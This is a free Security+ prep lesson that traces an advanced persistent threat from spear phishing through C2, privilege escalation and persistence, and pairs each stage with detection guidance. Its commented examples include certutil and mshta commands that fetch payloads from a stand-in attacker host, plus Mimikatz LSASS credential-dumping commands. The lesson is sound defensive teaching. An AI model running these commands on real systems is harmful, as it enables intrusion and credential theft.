0Pricing
Cloud & IT Cert Prep · Lesson

APT Lifecycle: Initial Access to Persistence

Follow an APT from spear phishing initial access through C2 establishment, privilege escalation, and persistence mechanisms that survive reboots and reimaging.

APT Lifecycle: Initial Access to Persistence is a free Cloud & IT Cert Prep lesson on CoddyKit — lesson 1 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Cloud & IT Cert Prep learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.

What Is an Advanced Persistent Threat?

An Advanced Persistent Threat (APT) is a sophisticated, long-term cyberattack campaign typically conducted by nation-state actors or well-funded criminal groups with specific strategic objectives. The three defining characteristics are: Advanced — uses custom malware, zero-days, and novel techniques; Persistent — maintains a covert presence for months or years, not a smash-and-grab operation; Threat — a coordinated, targeted attack against a specific organization. Famous APT groups include APT28 (Fancy Bear) linked to Russia's GRU, APT41 linked to China, and Lazarus Group linked to North Korea.

Initial Access: How APTs Get In

APT campaigns typically begin with one of a small number of proven initial access techniques. Spear phishing with weaponized attachments or credential-harvesting links is the most common method — the email appears to come from a trusted colleague or partner. Supply chain compromise (as in SolarWinds/SUNBURST) inserts malicious code into trusted software updates. Exploitation of internet-facing services (VPN appliances, Exchange servers, web applications) using unpatched CVEs. Watering hole attacks compromise websites frequented by the target organization's employees and deliver drive-by exploits to visitors.

Execution: Running the First Payload

After gaining initial access, the attacker must execute their first payload on the target system. APTs favor techniques that blend with normal system activity: malicious macros in Office documents that execute when the victim enables content; HTML Application (HTA) files that execute scripts when opened; Living-off-the-Land Binaries (LOLBins) — using legitimate Windows tools like mshta.exe, certutil.exe, regsvr32.exe, or wscript.exe to execute attacker code, bypassing application allowlists. These techniques make initial payloads difficult to distinguish from legitimate system activity.

# Example LOLBin abuse: certutil used to download payload
# certutil.exe -urlcache -split -f http://attacker.com/payload.exe payload.exe

# Example: mshta executing remote HTA
# mshta.exe http://attacker.com/malicious.hta

# Detection: alert on certutil/mshta with network connections

C2 Establishment: Calling Home

Once the initial payload runs, it establishes a Command and Control (C2) channel back to the attacker's infrastructure. Modern APT C2 uses techniques designed to evade detection: HTTPS to look-alike domains that mimic legitimate cloud services (Teams, OneDrive, GitHub); DNS tunneling — encoding commands in DNS TXT record queries that appear as normal DNS traffic; Domain Generation Algorithms (DGAs) that produce a new C2 domain each day from a seed, making domain blocking ineffective; and living-off-the-land C2 using legitimate cloud platforms (Slack API, Google Sheets, Twitter) as the communication channel.

# DNS tunneling detection: look for unusually long DNS queries
# Normal DNS query: www.google.com (13 chars)
# DNS tunnel query: 4f72d3a1b9c2e5f8.exfil.attacker.com (38 chars of encoded data)

# Zeek/Bro detection rule concept:
# alert dns (dns.qname length > 50)

Discovery: Mapping the Environment

After establishing C2, APT actors conduct internal reconnaissance to understand the environment before moving further. This includes: Active Directory enumeration using tools like BloodHound to map trust relationships and identify high-value targets; network scanning to identify live hosts, services, and open ports; credential discovery through searching filesystems for configuration files, password databases, or credentials stored in browsers; and identity enumeration to identify privileged accounts, service accounts, and admin workstations. Most discovery activity uses native Windows tools (net user /domain, ipconfig, nltest) to avoid detection.

# Native Windows commands used by APTs for discovery
# net user /domain                    # list domain users
# net group 'Domain Admins' /domain   # list domain admins
# ipconfig /all                       # network configuration
# netstat -ano                        # active network connections
# tasklist /v                         # running processes

Privilege Escalation: Gaining Admin

APTs typically gain initial access with limited user credentials and must escalate privileges to achieve their objectives. Common escalation paths include: credential theft from memory using Mimikatz (extracting NTLM hashes from LSASS process memory); Kerberoasting (requesting service tickets for service accounts and cracking them offline); exploiting misconfigured services with weak permissions (insecure service binary paths, DLL hijacking); and token impersonation to steal the authentication token of a privileged process. User Account Control (UAC) bypass techniques allow moving from standard admin to SYSTEM without triggering a UAC prompt.

# Mimikatz: dump credentials from LSASS memory
# (defender perspective - what attackers run)
# privilege::debug
# sekurlsa::logonpasswords

# Detection: alert on LSASS memory reads by non-system processes
# Windows Event ID 4656/4663: access to LSASS process

Persistence Mechanisms: Surviving Reboots

APTs invest heavily in persistence mechanisms that survive reboots and re-imaging, because initial access may have been difficult and expensive to achieve. Common Windows persistence techniques: Registry Run Keys (HKLM\Software\Microsoft\Windows\CurrentVersion\Run); Scheduled Tasks that execute malware on a regular schedule; Windows Services that auto-start; WMI Event Subscriptions (hard to detect, survives most cleanup efforts); DLL Search Order Hijacking; and Boot/Pre-OS implants (UEFI firmware implants that survive OS reinstalls, used by Equation Group/NSA-linked actors).

# Common persistence locations to monitor
# Registry:
# HKLM\Software\Microsoft\Windows\CurrentVersion\Run
# HKCU\Software\Microsoft\Windows\CurrentVersion\Run
# HKLM\System\CurrentControlSet\Services

# Check scheduled tasks for suspicious entries
# schtasks /query /fo LIST /v | findstr 'Task Name\|Run As User\|Task To Run'

Defense Evasion: Hiding in Plain Sight

APTs employ extensive defense evasion to avoid detection by endpoint security tools and analysts. Techniques include: process injection — injecting malicious code into legitimate processes like explorer.exe or svchost.exe so malware runs under a trusted process name; timestomping — modifying file timestamps to make malicious files appear to have existed for years; log deletion and tampering — clearing Windows Event Logs to remove evidence; code signing certificate abuse — signing malware with stolen legitimate certificates; and in-memory execution (fileless malware) that never touches disk where file-based AV would detect it.

Exfiltration: Stealing Data Covertly

APTs carefully manage data exfiltration to avoid triggering DLP controls and bandwidth anomaly detection. Techniques include: data staging — collecting targeted data into an encrypted archive before exfiltrating in small chunks over days; HTTPS exfiltration to cloud storage services (OneDrive, Dropbox) that are allowed by corporate firewall rules; steganography — hiding data inside image files; and time-based exfiltration during business hours to blend with legitimate traffic. APTs exfiltrate only what they need (high-value intellectual property, credentials, strategic plans) rather than bulk copying everything — minimizing their footprint and detection probability.

Detecting APT Activity: Key Indicators

APT detection requires looking beyond individual alerts to identify patterns of related activity across the kill chain. Key indicators include: unusual parent-child process relationships (e.g., Word spawning PowerShell); PowerShell encoded commands or downloads from the internet; scheduled tasks or services created at unusual times; LSASS memory access by non-system processes; lateral movement via SMB or WMI from workstations; and unusual outbound DNS queries with long subdomain lengths. The MITRE ATT&CK Navigator allows defenders to map detected techniques to the ATT&CK matrix and identify gaps in their detection coverage.

# Splunk query: detect PowerShell encoded command execution
# index=windows source=WinEventLog:Security EventCode=4688
# | search NewProcessName='*powershell*' CommandLine='*-enc*'
# | table _time, ComputerName, SubjectUserName, CommandLine

APT Response: Containment Without Tipping Off

Responding to an active APT requires a careful balance: contain the threat without alerting the attacker. Premature containment (blocking C2 traffic, disabling accounts) may cause the APT to activate destructive payloads or accelerate exfiltration. Best practices include: monitoring covertly while gathering intelligence; segmenting infected hosts gradually using firewall rules without blocking C2; deploying deception technologies (honeytokens, canary accounts) to monitor attacker activity; and coordinating with law enforcement before major containment actions. Full remediation requires identifying all persistence mechanisms and compromised accounts — a single missed implant means the attacker returns.

Quick Check

Test your understanding of CompTIA Security+ (SY0-701) concepts from this lesson.

Lesson Recap

In this lesson you learned: APTs are advanced, persistent, and targeted campaigns typically operating for months using spear phishing, supply chain attacks, or vulnerability exploitation for initial access, APTs use LOLBins and legitimate cloud services for C2 to blend with normal traffic and evade detection, and persistence mechanisms range from Registry Run Keys to UEFI firmware implants — with WMI subscriptions being particularly difficult to detect and remediate. Next up we explore lateral movement techniques including Pass-the-Hash and Pass-the-Ticket.

Frequently asked questions

Is the “APT Lifecycle: Initial Access to Persistence” lesson free?

Yes — the full text of “APT Lifecycle: Initial Access to Persistence” is free to read here on the web, and the Cloud & IT Cert Prep course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Cloud & IT Cert Prep course, upgrade to CoddyKit PRO.

What will I learn in “APT Lifecycle: Initial Access to Persistence”?

Follow an APT from spear phishing initial access through C2 establishment, privilege escalation, and persistence mechanisms that survive reboots and reimaging. You practise Cloud & IT Cert Prep with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.

Do I need any experience to start Cloud & IT Cert Prep?

No prior experience is required. Cloud & IT Cert Prep on CoddyKit is structured for beginners through advanced learners; this is — lesson 1 of 4, so you can start here or from the beginning and move at your own pace.

How long does the “APT Lifecycle: Initial Access to Persistence” lesson take?

Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.

Can I write and run code in this Cloud & IT Cert Prep lesson?

Yes. Every Cloud & IT Cert Prep lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.

All lessons in this course

  1. APT Lifecycle: Initial Access to Persistence
  2. Lateral Movement: Pass-the-Hash and Pass-the-Ticket
  3. Kerberoasting and Golden Ticket Attacks
  4. MITRE ATT&CK Framework for Detection and Response
← Back to Cloud & IT Cert Prep